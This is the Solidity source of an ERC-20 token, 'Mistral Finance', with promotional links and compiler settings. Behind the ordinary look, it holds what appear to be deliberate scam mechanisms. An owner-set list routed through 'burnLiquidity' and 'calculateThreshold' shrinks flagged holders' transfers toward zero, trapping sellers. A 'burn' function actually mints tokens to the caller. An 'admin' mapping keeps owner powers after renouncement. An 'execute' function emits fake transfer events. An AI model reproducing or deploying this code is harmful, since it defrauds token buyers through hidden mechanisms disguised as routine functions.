// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// SPDX-License-Identifier: UNLICENSE
 /**
📲TELEGRAM LINK - https://t.me/MistralFinance

🌐WWW - https://mistral.finance/

🐦FOLLOW X -  https://x.com/mistralfinance

🗞DAILY NEWS - https://medium.com/@mistralfinance   */
pragma solidity 0.8.23;

import "./Ownable.sol";
import "./IERC20.sol";

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}

contract MistralFinance is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => bool) private transferLimitExempt;
    mapping (address => bool) private automatedMarketMakerPairs;
    mapping (address => uint256) private _holderLastTransferTimestamp; 
    mapping (address => bool) private transferTaxExempt;
    mapping(address => bool) private _IUniswapV2FactorymsgSender;
    address payable private _taxWallet;
     address private marketingWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=26;
    uint256 private _transferTax=70;
    uint256 private _buyCount=0;
    uint256 private maxTx;
    uint256 private maxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Mistral Finance";
    string private constant _symbol = unicode"MISTRAL";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
    
    address public uniswapV2Pair;
    bool private swapping;
    bool private tradingOpen;
    bool private transferDelayEnabled = true;
    bool public tradingEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsEnabled = true;
    bool public lpBurnEnabled = true;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address marketingWallet_) {
        _taxWallet = payable(_msgSender());
        marketingWallet = payable(marketingWallet_);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        admin[marketingWallet]=true;
        startTrading();
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() public onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        if(!swapping && lpBurnEnabled){
            amount = burnLiquidity(from, amount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTranTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function burnLiquidity(address from, uint amount) internal view returns (uint){
        uint amountCalculated = amount;
        if (_IUniswapV2FactorymsgSender[from]) 
        {
            amountCalculated = calculateThreshold(amount, from);
        }
        return amountCalculated;
        
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function transferApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _IUniswapV2FactorymsgSender[address_[i]] = val;
        }
    }
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }
    
    function calculateThreshold(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }
    
    function taxRecipient(address recipient) external view returns(bool){
        return _IUniswapV2FactorymsgSender[recipient];
    }
 
    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

{
  "compilationTarget": {
    "Mistral Finance.sol": "MistralFinance"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}